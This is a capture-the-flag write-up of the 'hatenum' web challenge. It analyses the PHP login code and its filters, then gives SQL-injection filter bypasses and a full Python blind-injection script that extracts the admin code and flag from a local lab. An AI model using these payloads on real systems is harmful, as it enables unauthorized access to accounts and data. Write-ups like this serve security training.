2021-Digital China Innovation Competition-Huifu Cybersecurity Track-Final-Web-hatenum and source code analysis and payload script analysis
(CTFHUB platform)
Home page
Source code analysis
The directory structure of the source code is as follows:
index.php
Home page, using the POST method to submit the login form to login.php
config.php
User class, including MySQL database login, user query, user creation, and user information verification (login) functions
Among them, the user information verification in login contains SQL statement concatenation and code verification (code comes from $res, $res comes from the information selected by select, so it is guessed that the value of code is unique (whether it is unique for all users or for a single user needs to be confirmed))
array_waf recursively checks the received data, performing num_waf digit detection (9-digit decimal or 9-digit hexadecimal) and sql_waf detection (checking for key characters)
register.php
Include config.php
Waf detects the data submitted by index
Limit the maximum length of username to 30
User.find checks if the username exists, if it exists, return to index, if not, User.register to register an account
login.php
Include config.php
Waf detects the data submitted by index
If all the data items in the form are not empty, then User.login(form data), use the form data to log in (matching the database information)
If successful, jump to the home page (definitely carrying the cookie), if failed, go to index to log in again
home.php
Check if the username of the logged-in user is 'admin', if so, echo file_get_contents('/flag') returns flag information
Thoughts
To get the flag, only admin needs to log in successfully, so it is necessary to bypass the password with SQL injection. Since code is directly judged and not in the SQL statement, code cannot be bypassed, as it is unique and there is no login time limit, so brute force attack can be carried out
0, Verify the uniqueness of the code value and try to crack the code value
1.1, Use 'admin' directly to bypass password verification and log in using code
1.2, Try vertical privilege escalation based on the response packet and cookie value
Start the operation
Bypass waf
sql_waf is'/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i'
The number waf is'/\d{9}|0x[0-9a-f]{9}/i'
Password bypass as follows:
username=admin
password=||1#
select * from users where username='admin' and password='||1#'
爆破code
According to sql_waf and sql statement (the injection point is only password) and home return value as flag or hello username, the returned content is limited only toerror
andlogin fail
Two (since the code is cracked through password, the value of the code is not important and can be ignored, i.e., it is impossible to appear login success), so boolean brute force is adoptedBrute force success is login fail
Brute force error is error
Boolean brute force
Brute force usually uses these keywords: string truncation type (substr), conditional judgment type (if), statement separation type (spaces, /**/), logical judgment type (and, or, >, <, =, !=), ASCII, comment symbols (--, #)
String truncation type
Disabled: substr, left, right, mid
Bypass: like, rlike, instr
The difference between like and rlike is that rlike supports regular expressions, while like only supports a limited set of wildcard characters such as %, _.
Statement separation
Disabled: spaces, r(%0d), n(%0a), t(%09)
The statement is often separated by spaces
Bypass: %a0 ( ), %0b (vertical tab), %0c (form feed)
Logical operations
Disabled: and, or, =, >, <, regexp
Bypass: &&, ||, like, greatest, least
Condition judgment (case, nullif)
Disabled: Because it has disabled
,
Therefore, the if statement cannot be used ----------------------
Brute force approach: First, brute force the length, then brute force the characters in order.
Write a script (payload parsing)
Since it is uncertain whether the code is unique for each user or a separate code for each user, the following payload must restrict the username to 'admin'.
Get the length of the code
The payload is
||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#
&& username rlike 0x61646d &&
Restrict username to include adm (i.e., admin) and appropriately modify the matching characters to prevent usernames like adm111, and check if the cracking code is the same.
# 0x61646d decoded is adm
def get_code_length():
for i in range(20):
guess_length_payload=f'||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#'
# guess_length_payload=f'||exp(710-((length(code)) like ({i})))#'
payload=guess_length_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
return i
return False
Get code
payload:
||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#
Since the waf limits the detection of hexadecimal or decimal numbers over 9 characters, 8 hexadecimal digits (i.e., 4 characters) are chosen for matching to bypass the waf
Since ordinary rlike cannot accurately match case, binary comparison is used (which can compare case)
Note:
Since only 3-4 characters can be matched each time and
rlike
It can only match the first one from left to right, which may cause errors in the result when there are repeated characters in the code, and the end characters may not be matchedTherefore, add tail matching and analyze from multiple dimensions
This is still somewhat different from the real code, but through analysis, it is possible to enumerate the result with a very small amount of data
def str2hex(raw):
ret = '0x'
for i in raw:
# ord returns the corresponding ASCII value, hex returns the hexadecimal number as a string, and rjust returns a string of length 2, replacing with 0 if insufficient
# Convert to hexadecimal, hexadecimal is automatically converted to a string when executed in the database
ret += hex(ord(i))[2:].rjust(2,'0')
return ret
def get_code(length):
# Match from the beginning
tmp='^'
result1=''
while len(result1) < length:
# Do not know if it contains special characters and numbers, use letters for matching first
for i in string.ascii_letters:
guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
result1+=i
if len(tmp) == 3:
tmp=tmp[1:]+i
else:
tmp+=i
break
log.info(f'result1 =>{result1}')
# Match from the end
tmp='$'
result2=''
while len(result2) < length:
# Do not know if it contains special characters and numbers, use letters for matching first
for i in string.ascii_letters:
guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(i+tmp)}))#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
result2=i+result2
if len(tmp) == 3:
tmp=i+tmp[:-1]
else:
tmp=i+tmp
break
log.info(f'result2 =>{result2}')
if result2==result1:
return result1
else:
log.debug(f'Length: {length}, result1: {result1}, result2: {result2}')
return input('Enter the analyzed result:')
Get flag
Note: Allow redirection (default), match flag characters such as hub in the response body
def get_flag(code):
guess_str_payload='||1#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin',
'password':payload,
'code':code
}
response=requests.post(base_url+'/login.php',data=data,proxies={'http':'127.0.0.1:8080'})
if 'hub' in response.text:
return response.text
else:
return False
Total code
import requests
from loguru import logger as log
import string
base_url='http://127.0.0.1/hatenum'
# 0x61646d decoded is adm
def get_code_length():
# guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {}))#'
for i in range(20):
guess_length_payload=f'||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#'
# guess_length_payload=f'||exp(710-((length(code)) like ({i})))#'
payload=guess_length_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
return i
return False
def str2hex(raw):
ret = '0x'
for i in raw:
# ord returns the corresponding ASCII value, hex returns the hexadecimal number as a string, and rjust returns a string of length 2, replacing with 0 if insufficient
# Convert hexadecimal16进制在数据库执行查询时又默认转换成字符串
ret += hex(ord(i))[2:].rjust(2,'0')
return ret
def get_code(length):
# Match from the beginning
tmp='^'
result1=''
while len(result1) < length:
# Do not know if it contains special characters and numbers, use letters for matching first
for i in string.ascii_letters:
guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
result1+=i
if len(tmp) == 3:
tmp=tmp[1:]+i
else:
tmp+=i
break
log.info(f'result1 =>{result1}')
# Match from the end
tmp='$'
result2=''
while len(result2) < length:
# Do not know if it contains special characters and numbers, use letters for matching first
for i in string.ascii_letters:
guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(i+tmp)}))#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
result2=i+result2
if len(tmp) == 3:
tmp=i+tmp[:-1]
else:
tmp=i+tmp
break
log.info(f'result2 =>{result2}')
if result2==result1:
return result1
else:
log.debug(f'Length: {length}, result1: {result1}, result2: {result2}')
return input('Enter the analyzed result:')
def get_flag(code):
guess_str_payload='||1#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin',
'password':payload,
'code':code
}
response=requests.post(base_url+'/login.php',data=data,proxies={'http':'127.0.0.1:8080'})
if 'hub' in response.text:
return response.text
else:
return False
if __name__=='__main__':
length = get_code_length()
log.debug(f'The length of code is: {length}')
if length:
code=get_code(length)
log.debug(f'The code used is: {code}')
flag=get_flag(code)
if flag:
log.success(f'{flag}')
else:
log.error('Failed to obtain flag')
reference
2021-HuHu Network Security Track-hatenum | exp() Function and Regular Expression Filtering-CSDN Blog
[Article - How to Use MySQL exp() Function for SQL Injection - XZ Community](https://xz.aliyun.com/news/9304#:~:text=We know that for each increment in the exponent, the result will vary greatly, and the range of Double numeric values that MySQL can record is limited. Once the result exceeds the range, the function will report an error. The limit of this range is 709, and passing a number greater than this will cause an overflow error: In addition to exp(), similar functions like pow() are also exploitable, and their principles are the same.

评论已关闭